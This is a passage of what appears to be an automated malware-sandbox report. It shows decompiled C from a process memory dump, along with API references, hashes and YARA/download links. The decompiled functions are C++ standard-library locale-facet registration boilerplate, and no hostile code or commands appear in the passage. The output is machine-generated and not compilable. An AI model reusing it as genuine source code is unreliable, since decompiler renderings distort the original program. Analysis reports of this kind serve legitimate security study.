																			E6DD16653(_t418 - 0x14, 0);
																			_t404 =  *0x6ddd6dfc; // 0x0
																			 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																			 *(_t418 - 0x10) = _t404;
																			_t204 = E6DCF161C(0x6ddd6da8);
																			_t334 =  *((intOrPtr*)(_t418 + 8));
																			_t394 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t204);
																			__eflags = _t394;
																			if(_t394 != 0) {
																				L40:
																				E6DD166BA(_t418 - 0x14);
																				return E6DD30075(_t394);
																			} else {
																				__eflags = _t404;
																				if(_t404 == 0) {
																					_push( *((intOrPtr*)(_t418 + 8)));
																					_push(_t418 - 0x10);
																					__eflags = E6DD214EC(_t296, _t334, _t387, _t394, _t404) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t418 - 0x20);
																						E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t296, _t394, _t404, 0x14);
																						E6DD16653(_t418 - 0x14, 0);
																						_t405 =  *0x6ddd6dcc; // 0x0
																						 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																						 *(_t418 - 0x10) = _t405;
																						_t217 = E6DCF161C(0x6ddd6d80);
																						_t341 =  *((intOrPtr*)(_t418 + 8));
																						_t395 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t217);
																						__eflags = _t395;
																						if(_t395 != 0) {
																							L47:
																							E6DD166BA(_t418 - 0x14);
																							return E6DD30075(_t395);
																						} else {
																							__eflags = _t405;
																							if(_t405 == 0) {
																								_push( *((intOrPtr*)(_t418 + 8)));
																								_push(_t418 - 0x10);
																								__eflags = E6DD21558(_t296, _t341, _t387, _t395, _t405) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t418 - 0x20);
																									E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t296, _t395, _t405, 0x14);
																									E6DD16653(_t418 - 0x14, 0);
																									_t406 =  *0x6ddd6e00; // 0x0
																									 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																									 *(_t418 - 0x10) = _t406;
																									_t230 = E6DCF161C(0x6ddd6dac);
																									_t348 =  *((intOrPtr*)(_t418 + 8));
																									_t396 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t230);
																									__eflags = _t396;
																									if(_t396 != 0) {
																										L54:
																										E6DD166BA(_t418 - 0x14);
																										return E6DD30075(_t396);
																									} else {
																										__eflags = _t406;
																										if(_t406 == 0) {
																											_push( *((intOrPtr*)(_t418 + 8)));
																											_push(_t418 - 0x10);
																											__eflags = E6DD215C4(_t296, _t348, _t387, _t396, _t406) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t418 - 0x20);
																												E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t296, _t396, _t406, 0x14);
																												E6DD16653(_t418 - 0x14, 0);
																												_t407 =  *0x6ddd6dd0; // 0x0
																												 *(_t418 - 4) =  *(_t418 - 4) & 0x00000000;
																												 *(_t418 - 0x10) = _t407;
																												_t243 = E6DCF161C(0x6ddd6d60);
																												_t355 =  *((intOrPtr*)(_t418 + 8));
																												_t397 = E6DCF171B( *((intOrPtr*)(_t418 + 8)), _t243);
																												__eflags = _t397;
																												if(_t397 != 0) {
																													L61:
																													E6DD166BA(_t418 - 0x14);
																													return E6DD30075(_t397);
																												} else {
																													__eflags = _t407;
																													if(_t407 == 0) {
																														_push( *((intOrPtr*)(_t418 + 8)));
																														_push(_t418 - 0x10);
																														__eflags = E6DD2162A(_t296, _t355, _t387, _t397, _t407) - 0xffffffff;
																														if(__eflags == 0) {
																															_t359 = _t418 - 0x20;
																															E6DCF1438(_t359);
																															E6DD33D74(_t418 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd7851f, _t296, _t397, _t407, 4);
																															_t408 = _t359;
																															 *(_t418 - 0x10) = _t408;
																															 *((intOrPtr*)(_t408 + 4)) =  *((intOrPtr*)(_t418 + 0xc));
																															_push( *((intOrPtr*)(_t418 + 0x14)));
																															_t133 = _t418 - 4;
																															 *_t133 =  *(_t418 - 4) & 0x00000000;
																															__eflags =  *_t133;
																															 *_t408 = 0x6dd7c0c4;
																															 *((char*)(_t408 + 0x28)) =  *((intOrPtr*)(_t418 + 0x10));
																															E6DD2542F(_t296, _t359, _t387, _t397, _t408,  *_t133);
																															return E6DD30075(_t408,  *((intOrPtr*)(_t418 + 8)));
																														} else {
																															_t397 =  *(_t418 - 0x10);
																															 *(_t418 - 0x10) = _t397;
																															 *(_t418 - 4) = 1;
																															E6DD16FD3(__eflags, _t397);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t397 + 4))))();
																															 *0x6ddd6dd0 = _t397;
																															goto L61;
																														}
																													} else {
																														_t397 = _t407;
																														goto L61;
																													}
																												}
																											} else {
																												_t396 =  *(_t418 - 0x10);
																												 *(_t418 - 0x10) = _t396;
																												 *(_t418 - 4) = 1;
																												E6DD16FD3(__eflags, _t396);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t396 + 4))))();
																												 *0x6ddd6e00 = _t396;
																												goto L54;
																											}
																										} else {
																											_t396 = _t406;
																											goto L54;
																										}
																									}
																								} else {
																									_t395 =  *(_t418 - 0x10);
																									 *(_t418 - 0x10) = _t395;
																									 *(_t418 - 4) = 1;
																									E6DD16FD3(__eflags, _t395);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t395 + 4))))();
																									 *0x6ddd6dcc = _t395;
																									goto L47;
																								}
																							} else {
																								_t395 = _t405;
																								goto L47;
																							}
																						}
																					} else {
																						_t394 =  *(_t418 - 0x10);
																						 *(_t418 - 0x10) = _t394;
																						 *(_t418 - 4) = 1;
																						E6DD16FD3(__eflags, _t394);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t394 + 4))))();
																						 *0x6ddd6dfc = _t394;
																						goto L40;
																					}
																				} else {
																					_t394 = _t404;
																					goto L40;
																				}
																			}
																		} else {
																			_t393 =  *(_t418 - 0x10);
																			 *(_t418 - 0x10) = _t393;
																			 *(_t418 - 4) = 1;
																			E6DD16FD3(__eflags, _t393);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t393 + 4))))();
																			 *0x6ddd6de0 = _t393;
																			goto L33;
																		}
																	} else {
																		_t393 = _t403;
																		goto L33;
																	}
																}
															} else {
																_t392 =  *(_t418 - 0x10);
																 *(_t418 - 0x10) = _t392;
																 *(_t418 - 4) = 1;
																E6DD16FD3(__eflags, _t392);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t392 + 4))))();
																 *0x6ddd6ddc = _t392;
																goto L26;
															}
														} else {
															_t392 = _t402;
															goto L26;
														}
													}
												} else {
													_t391 =  *(_t418 - 0x10);
													 *(_t418 - 0x10) = _t391;
													 *(_t418 - 4) = 1;
													E6DD16FD3(__eflags, _t391);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t391 + 4))))();
													 *0x6ddd6db0 = _t391;
													goto L19;
												}
											} else {
												_t391 = _t401;
												goto L19;
											}
										}
									} else {
										_t390 =  *(_t418 - 0x10);
										 *(_t418 - 0x10) = _t390;
										 *(_t418 - 4) = 1;
										E6DD16FD3(__eflags, _t390);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t390 + 4))))();
										 *0x6ddd6dd8 = _t390;
										goto L12;
									}
								} else {
									_t390 = _t400;
									goto L12;
								}
							}
						} else {
							_t389 =  *(_t418 - 0x10);
							 *(_t418 - 0x10) = _t389;
							 *(_t418 - 4) = 1;
							E6DD16FD3(__eflags, _t389);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t389 + 4))))();
							 *0x6ddd6dc4 = _t389;
							goto L5;
						}
					} else {
						_t389 = _t399;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD1F760
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F76A
int.LIBCPMT ref: 6DD1F781

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD1F7A4
std::_Facet_Register.LIBCPMT ref: 6DD1F7BB
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F7DB
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F7F9

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: fd072fecd6a0f595d7237063df9fbf0abb8016d8833bf3f7aaa1947d35b9d678
Instruction ID: 15822c576466e6c673103d0c94a26dbe718c989db93e3eb03cdcd0b5e14ec0a2
Opcode Fuzzy Hash: fd072fecd6a0f595d7237063df9fbf0abb8016d8833bf3f7aaa1947d35b9d678
Instruction Fuzzy Hash: 5C119A7690812D9BCF01FBA4DC40AEDB7B4EF95324F260149F610AB290DB749A05CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B74C, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E6DD2B74C(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t125;
				signed int _t126;
				void* _t138;
				void* _t151;
				void* _t164;
				void* _t177;
				void* _t190;
				void* _t203;
				void* _t216;
				signed int _t321;
				signed int _t349;
				signed int _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				signed int _t354;
				signed int _t355;
				signed int _t357;
				signed int _t358;
				signed int _t359;
				signed int _t360;
				signed int _t361;
				signed int _t362;
				signed int _t363;
				signed int _t364;
				signed int _t365;
				void* _t374;

				_t346 = __edx;
				_t265 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t374 - 0x14, 0);
				_t357 =  *0x6ddd6e28; // 0x0
				 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
				 *(_t374 - 0x10) = _t357;
				_t125 = E6DCF161C(0x6ddd6e08);
				_t268 =  *((intOrPtr*)(_t374 + 8));
				_t126 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t125);
				_t348 = _t126;
				if(_t126 != 0) {
					L5:
					E6DD166BA(_t374 - 0x14);
					return E6DD30075(_t348);
				} else {
					if(_t357 == 0) {
						_push( *((intOrPtr*)(_t374 + 8)));
						_push(_t374 - 0x10);
						__eflags = E6DD2BF46(__ebx, _t268, __edx, _t348, _t357) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t374 - 0x20);
							E6DD33D74(_t374 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t348, _t357, 0x14);
							E6DD16653(_t374 - 0x14, 0);
							_t358 =  *0x6ddd6e2c; // 0x0
							 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
							 *(_t374 - 0x10) = _t358;
							_t138 = E6DCF161C(0x6ddd6e0c);
							_t275 =  *((intOrPtr*)(_t374 + 8));
							_t349 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t138);
							__eflags = _t349;
							if(_t349 != 0) {
								L12:
								E6DD166BA(_t374 - 0x14);
								return E6DD30075(_t349);
							} else {
								__eflags = _t358;
								if(_t358 == 0) {
									_push( *((intOrPtr*)(_t374 + 8)));
									_push(_t374 - 0x10);
									__eflags = E6DD2BFE8(_t265, _t275, __edx, _t349, _t358) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t374 - 0x20);
										E6DD33D74(_t374 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t265, _t349, _t358, 0x14);
										E6DD16653(_t374 - 0x14, 0);
										_t359 =  *0x6ddd6e30; // 0x0
										 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
										 *(_t374 - 0x10) = _t359;
										_t151 = E6DCF161C(0x6ddd6e10);
										_t282 =  *((intOrPtr*)(_t374 + 8));
										_t350 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t151);
										__eflags = _t350;
										if(_t350 != 0) {
											L19:
											E6DD166BA(_t374 - 0x14);
											return E6DD30075(_t350);
										} else {
											__eflags = _t359;
											if(_t359 == 0) {
												_push( *((intOrPtr*)(_t374 + 8)));
												_push(_t374 - 0x10);
												__eflags = E6DD2C050(_t265, _t282, __edx, _t350, _t359) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t374 - 0x20);
													E6DD33D74(_t374 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t265, _t350, _t359, 0x14);
													E6DD16653(_t374 - 0x14, 0);
													_t360 =  *0x6ddd6e34; // 0x0
													 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
													 *(_t374 - 0x10) = _t360;
													_t164 = E6DCF161C(0x6ddd6e14);
													_t289 =  *((intOrPtr*)(_t374 + 8));
													_t351 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t164);
													__eflags = _t351;
													if(_t351 != 0) {
														L26:
														E6DD166BA(_t374 - 0x14);
														return E6DD30075(_t351);
													} else {
														__eflags = _t360;
														if(_t360 == 0) {
															_push( *((intOrPtr*)(_t374 + 8)));
															_push(_t374 - 0x10);
															__eflags = E6DD2C0B8(_t265, _t289, _t346, _t351, _t360) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t374 - 0x20);
																E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t265, _t351, _t360, 0x14);
																E6DD16653(_t374 - 0x14, 0);
																_t361 =  *0x6ddd6e3c; // 0x0
																 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																 *(_t374 - 0x10) = _t361;
																_t177 = E6DCF161C(0x6ddd6e1c);
																_t296 =  *((intOrPtr*)(_t374 + 8));
																_t352 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t177);
																__eflags = _t352;
																if(_t352 != 0) {
																	L33:
																	E6DD166BA(_t374 - 0x14);
																	return E6DD30075(_t352);
																} else {
																	__eflags = _t361;
																	if(_t361 == 0) {
																		_push( *((intOrPtr*)(_t374 + 8)));
																		_push(_t374 - 0x10);
																		__eflags = E6DD2C120(_t265, _t296, _t346, _t352, _t361) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t374 - 0x20);
																			E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t265, _t352, _t361, 0x14);
																			E6DD16653(_t374 - 0x14, 0);
																			_t362 =  *0x6ddd6e38; // 0x0
																			 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																			 *(_t374 - 0x10) = _t362;
																			_t190 = E6DCF161C(0x6ddd6e18);
																			_t303 =  *((intOrPtr*)(_t374 + 8));
																			_t353 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t190);
																			__eflags = _t353;
																			if(_t353 != 0) {
																				L40:
																				E6DD166BA(_t374 - 0x14);
																				return E6DD30075(_t353);
																			} else {
																				__eflags = _t362;
																				if(_t362 == 0) {
																					_push( *((intOrPtr*)(_t374 + 8)));
																					_push(_t374 - 0x10);
																					__eflags = E6DD2C1A4(_t265, _t303, _t346, _t353, _t362) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t374 - 0x20);
																						E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t265, _t353, _t362, 0x14);
																						E6DD16653(_t374 - 0x14, 0);
																						_t363 =  *0x6ddd6e40; // 0x0
																						 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																						 *(_t374 - 0x10) = _t363;
																						_t203 = E6DCF161C(0x6ddd6e20);
																						_t310 =  *((intOrPtr*)(_t374 + 8));
																						_t354 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t203);
																						__eflags = _t354;
																						if(_t354 != 0) {
																							L47:
																							E6DD166BA(_t374 - 0x14);
																							return E6DD30075(_t354);
																						} else {
																							__eflags = _t363;
																							if(_t363 == 0) {
																								_push( *((intOrPtr*)(_t374 + 8)));
																								_push(_t374 - 0x10);
																								__eflags = E6DD2C229(_t265, _t310, _t346, _t354, _t363) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t374 - 0x20);
																									E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t265, _t354, _t363, 0x14);
																									E6DD16653(_t374 - 0x14, 0);
																									_t364 =  *0x6ddd6e44; // 0x0
																									 *(_t374 - 4) =  *(_t374 - 4) & 0x00000000;
																									 *(_t374 - 0x10) = _t364;
																									_t216 = E6DCF161C(0x6ddd6e24);
																									_t317 =  *((intOrPtr*)(_t374 + 8));
																									_t355 = E6DCF171B( *((intOrPtr*)(_t374 + 8)), _t216);
																									__eflags = _t355;
																									if(_t355 != 0) {
																										L54:
																										E6DD166BA(_t374 - 0x14);
																										return E6DD30075(_t355);
																									} else {
																										__eflags = _t364;
																										if(_t364 == 0) {
																											_push( *((intOrPtr*)(_t374 + 8)));
																											_push(_t374 - 0x10);
																											__eflags = E6DD2C295(_t265, _t317, _t346, _t355, _t364) - 0xffffffff;
																											if(__eflags == 0) {
																												_t321 = _t374 - 0x20;
																												E6DCF1438(_t321);
																												E6DD33D74(_t374 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd7851f, _t265, _t355, _t364, 4);
																												_t365 = _t321;
																												 *(_t374 - 0x10) = _t365;
																												 *((intOrPtr*)(_t365 + 4)) =  *((intOrPtr*)(_t374 + 0xc));
																												_push( *((intOrPtr*)(_t374 + 0x14)));
																												_t119 = _t374 - 4;
																												 *_t119 =  *(_t374 - 4) & 0x00000000;
																												__eflags =  *_t119;
																												 *_t365 = 0x6dd7c414;
																												 *((char*)(_t365 + 0x28)) =  *((intOrPtr*)(_t374 + 0x10));
																												E6DD2D028(_t265, _t321, _t346, _t355, _t365,  *_t119);
																												return E6DD30075(_t365,  *((intOrPtr*)(_t374 + 8)));
																											} else {
																												_t355 =  *(_t374 - 0x10);
																												 *(_t374 - 0x10) = _t355;
																												 *(_t374 - 4) = 1;
																												E6DD16FD3(__eflags, _t355);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t355 + 4))))();
																												 *0x6ddd6e44 = _t355;
																												goto L54;
																											}
																										} else {
																											_t355 = _t364;
																											goto L54;
																										}
																									}
																								} else {
																									_t354 =  *(_t374 - 0x10);
																									 *(_t374 - 0x10) = _t354;
																									 *(_t374 - 4) = 1;
																									E6DD16FD3(__eflags, _t354);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t354 + 4))))();
																									 *0x6ddd6e40 = _t354;
																									goto L47;
																								}
																							} else {
																								_t354 = _t363;
																								goto L47;
																							}
																						}
																					} else {
																						_t353 =  *(_t374 - 0x10);
																						 *(_t374 - 0x10) = _t353;
																						 *(_t374 - 4) = 1;
																						E6DD16FD3(__eflags, _t353);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t353 + 4))))();
																						 *0x6ddd6e38 = _t353;
																						goto L40;
																					}
																				} else {
																					_t353 = _t362;
																					goto L40;
																				}
																			}
																		} else {
																			_t352 =  *(_t374 - 0x10);
																			 *(_t374 - 0x10) = _t352;
																			 *(_t374 - 4) = 1;
																			E6DD16FD3(__eflags, _t352);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t352 + 4))))();
																			 *0x6ddd6e3c = _t352;
																			goto L33;
																		}
																	} else {
																		_t352 = _t361;
																		goto L33;
																	}
																}
															} else {
																_t351 =  *(_t374 - 0x10);
																 *(_t374 - 0x10) = _t351;
																 *(_t374 - 4) = 1;
																E6DD16FD3(__eflags, _t351);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t351 + 4))))();
																 *0x6ddd6e34 = _t351;
																goto L26;
															}
														} else {
															_t351 = _t360;
															goto L26;
														}
													}
												} else {
													_t350 =  *(_t374 - 0x10);
													 *(_t374 - 0x10) = _t350;
													 *(_t374 - 4) = 1;
													E6DD16FD3(__eflags, _t350);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t350 + 4))))();
													 *0x6ddd6e30 = _t350;
													goto L19;
												}
											} else {
												_t350 = _t359;
												goto L19;
											}
										}
									} else {
										_t349 =  *(_t374 - 0x10);
										 *(_t374 - 0x10) = _t349;
										 *(_t374 - 4) = 1;
										E6DD16FD3(__eflags, _t349);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t349 + 4))))();
										 *0x6ddd6e2c = _t349;
										goto L12;
									}
								} else {
									_t349 = _t358;
									goto L12;
								}
							}
						} else {
							_t348 =  *(_t374 - 0x10);
							 *(_t374 - 0x10) = _t348;
							 *(_t374 - 4) = 1;
							E6DD16FD3(__eflags, _t348);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t348 + 4))))();
							 *0x6ddd6e28 = _t348;
							goto L5;
						}
					} else {
						_t348 = _t357;
						goto L5;
					}
				}
			}

APIs

__EH_prolog3.LIBCMT ref: 6DD2B753
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B75D
int.LIBCPMT ref: 6DD2B774

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

collate.LIBCPMT ref: 6DD2B797
std::_Facet_Register.LIBCPMT ref: 6DD2B7AE
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B7CE
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B7EC

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
String ID:
API String ID: 2363045490-0
Opcode ID: 701e460177d07d8a06f9c934477a048463f3607f7a408d89565d8c9af0e49746
Instruction ID: 3b742c2677eeaaec13f38d4e135974d35f41cc1bd859a73ab30e3857a0c90682
Opcode Fuzzy Hash: 701e460177d07d8a06f9c934477a048463f3607f7a408d89565d8c9af0e49746
Instruction Fuzzy Hash: B211CE7680822D9BCF00FBA4C880AFEB771AF45728F174009F614AB390DBB099058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1EEEB, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1EEEB(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t321;
				signed int _t322;
				void* _t334;
				void* _t347;
				void* _t360;
				void* _t373;
				void* _t386;
				void* _t399;
				void* _t412;
				void* _t425;
				void* _t438;
				void* _t451;
				void* _t464;
				void* _t477;
				void* _t490;
				void* _t503;
				void* _t516;
				void* _t529;
				void* _t542;
				void* _t555;
				void* _t568;
				void* _t581;
				void* _t594;
				signed int _t853;
				signed int _t923;
				signed int _t924;
				signed int _t925;
				signed int _t926;
				signed int _t927;
				signed int _t928;
				signed int _t929;
				signed int _t930;
				signed int _t931;
				signed int _t932;
				signed int _t933;
				signed int _t934;
				signed int _t935;
				signed int _t936;
				signed int _t937;
				signed int _t938;
				signed int _t939;
				signed int _t940;
				signed int _t941;
				signed int _t942;
				signed int _t943;
				signed int _t945;
				signed int _t946;
				signed int _t947;
				signed int _t948;
				signed int _t949;
				signed int _t950;
				signed int _t951;
				signed int _t952;
				signed int _t953;
				signed int _t954;
				signed int _t955;
				signed int _t956;
				signed int _t957;
				signed int _t958;
				signed int _t959;
				signed int _t960;
				signed int _t961;
				signed int _t962;
				signed int _t963;
				signed int _t964;
				signed int _t965;
				signed int _t966;
				signed int _t967;
				void* _t990;

				_t920 = __edx;
				_t699 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t990 - 0x14, 0);
				_t945 =  *0x6ddd6e04; // 0x0
				 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
				 *(_t990 - 0x10) = _t945;
				_t321 = E6DCF161C(0x6ddd6b30);
				_t702 =  *((intOrPtr*)(_t990 + 8));
				_t322 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t321);
				_t922 = _t322;
				if(_t322 != 0) {
					L5:
					E6DD166BA(_t990 - 0x14);
					return E6DD30075(_t922);
				} else {
					if(_t945 == 0) {
						_push( *((intOrPtr*)(_t990 + 8)));
						_push(_t990 - 0x10);
						__eflags = E6DD20C9D(__ebx, _t702, __edx, _t922, _t945) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t990 - 0x20);
							E6DD33D74(_t990 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t922, _t945, 0x14);
							E6DD16653(_t990 - 0x14, 0);
							_t946 =  *0x6ddd6de4; // 0x0
							 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
							 *(_t990 - 0x10) = _t946;
							_t334 = E6DCF161C(0x6ddd6d90);
							_t709 =  *((intOrPtr*)(_t990 + 8));
							_t923 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t334);
							__eflags = _t923;
							if(_t923 != 0) {
								L12:
								E6DD166BA(_t990 - 0x14);
								return E6DD30075(_t923);
							} else {
								__eflags = _t946;
								if(_t946 == 0) {
									_push( *((intOrPtr*)(_t990 + 8)));
									_push(_t990 - 0x10);
									__eflags = E6DD20D03(_t699, _t709, __edx, _t923, _t946) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t990 - 0x20);
										E6DD33D74(_t990 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t699, _t923, _t946, 0x14);
										E6DD16653(_t990 - 0x14, 0);
										_t947 =  *0x6ddd6db4; // 0x0
										 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
										 *(_t990 - 0x10) = _t947;
										_t347 = E6DCF161C(0x6ddd6d68);
										_t716 =  *((intOrPtr*)(_t990 + 8));
										_t924 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t347);
										__eflags = _t924;
										if(_t924 != 0) {
											L19:
											E6DD166BA(_t990 - 0x14);
											return E6DD30075(_t924);
										} else {
											__eflags = _t947;
											if(_t947 == 0) {
												_push( *((intOrPtr*)(_t990 + 8)));
												_push(_t990 - 0x10);
												__eflags = E6DD20DA5(_t699, _t716, __edx, _t924, _t947) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t990 - 0x20);
													E6DD33D74(_t990 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t699, _t924, _t947, 0x14);
													E6DD16653(_t990 - 0x14, 0);
													_t948 =  *0x6ddd6dd4; // 0x0
													 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
													 *(_t990 - 0x10) = _t948;
													_t360 = E6DCF161C(0x6ddd6b28);
													_t723 =  *((intOrPtr*)(_t990 + 8));
													_t925 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t360);
													__eflags = _t925;
													if(_t925 != 0) {
														L26:
														E6DD166BA(_t990 - 0x14);
														return E6DD30075(_t925);
													} else {
														__eflags = _t948;
														if(_t948 == 0) {
															_push( *((intOrPtr*)(_t990 + 8)));
															_push(_t990 - 0x10);
															__eflags = E6DD20E47(_t699, _t723, _t920, _t925, _t948) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t990 - 0x20);
																E6DD33D74(_t990 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t699, _t925, _t948, 0x14);
																E6DD16653(_t990 - 0x14, 0);
																_t949 =  *0x6ddd6de8; // 0x0
																 *(_t990 - 4) =  *(_t990 - 4) & 0x00000000;
																 *(_t990 - 0x10) = _t949;
																_t373 = E6DCF161C(0x6ddd6d94);
																_t730 =  *((intOrPtr*)(_t990 + 8));
																_t926 = E6DCF171B( *((intOrPtr*)(_t990 + 8)), _t373);
																__eflags = _t926;
																if(_t926 != 0) {
																	L33:
																	E6DD166BA(_t990 - 0x14);
																	return E6DD30075(_t926);
																} else {
																	__eflags = _t949;
																	if(_t949 == 0) {
